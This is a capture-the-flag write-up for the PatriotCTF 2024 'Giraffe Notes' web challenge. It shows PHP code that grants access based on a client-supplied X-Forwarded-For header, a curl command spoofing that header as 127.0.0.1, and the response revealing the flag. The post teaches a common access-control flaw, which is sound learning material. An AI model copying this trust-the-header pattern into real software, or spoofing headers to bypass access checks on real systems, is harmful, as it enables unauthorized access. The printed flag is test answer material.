PatriotCTF 2024 Giraffe Notes Writeup 0 ▲ Justus Perlwitz 2 hours ago · Tech · hide · 0 comments I bet you can't access my notes on giraffes! http://chal.competitivecyber.club:8081 Flag format: CACI{.*} Author: CACI Challenge server at http://chal.competitivecyber.club:8081 Open in new tab (full image size 81 KiB) The challenge contains the following index.php file: <?php $allowed_ip = ['localhost', '127.0.0.1']; if ( isset($_SERVER['HTTP_X_FORWARDED_FOR']) && in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed_ip) ) { $allowed = true; } else { $allowed = false; } ?> Manually set the X-Forwarded-For header to one of the values in $allowed_ip. This advances the index.php script to the $allowed = true; branch. Trigger the vulnerability: curl http://chal.competitivecyber.club:8081/ \ -H "X-Forwarded-For: 127.0.0.1" Receive this response: <!DOCTYPE html> <html> <head> <title>Giraffe Notes</title> <!-- … --> </head> <body class="…"> <!-- … --> <h3 class="…"> <span>CACI{1_lik3_g1raff3s_4_l0t}</span> </h3> <!-- … --> </body> </html>⏎ That's your flag right there! This challenge… No comments yet. Log in to reply on the Fediverse. Comments will appear here.
